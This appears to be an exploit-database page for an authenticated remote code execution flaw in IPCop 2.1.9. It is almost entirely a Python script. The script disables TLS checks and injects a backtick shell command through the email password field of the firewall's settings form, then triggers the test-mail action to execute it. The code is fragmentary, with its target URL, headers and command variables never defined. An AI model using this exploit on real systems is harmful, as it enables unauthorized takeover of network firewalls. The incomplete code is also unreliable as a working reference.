Exploits / Vulnerability Discovered : 2021-08-10 |
Type : webapps |
Platform : cgi
This exploit / vulnerability Ipcop 2.1.9 remote code execution (rce) (authenticated) is for educational purposes only and if it is used you will do on your own risk!
import requests as R
import os
import sys
import base64
import urllib3
R.packages.urllib3.disable_warnings()
R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
# no pyopenssl support used / needed / available
pass
rdata = {
"EMAIL_SERVER": "mucahitsaratar.github.io",
"EMAIL_USE_TLS": "auto",
"EMAIL_SERVER_PORT": "1337",
"EMAIL_USR": "ipcop@localdomain",
"EMAIL_PW": f"`{command}`",
"EMAIL_FROM": "ipcop@localdomainn",
"EMAIL_TO": "ipcop@localdomainnn",
"ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language
}
R.post(url,headers=rheader, data=rdata, verify=False)
rdata["ACTION"] = "Test postası gönder" # send test mail
R.post(url,headers=rheader, data=rdata, verify=False)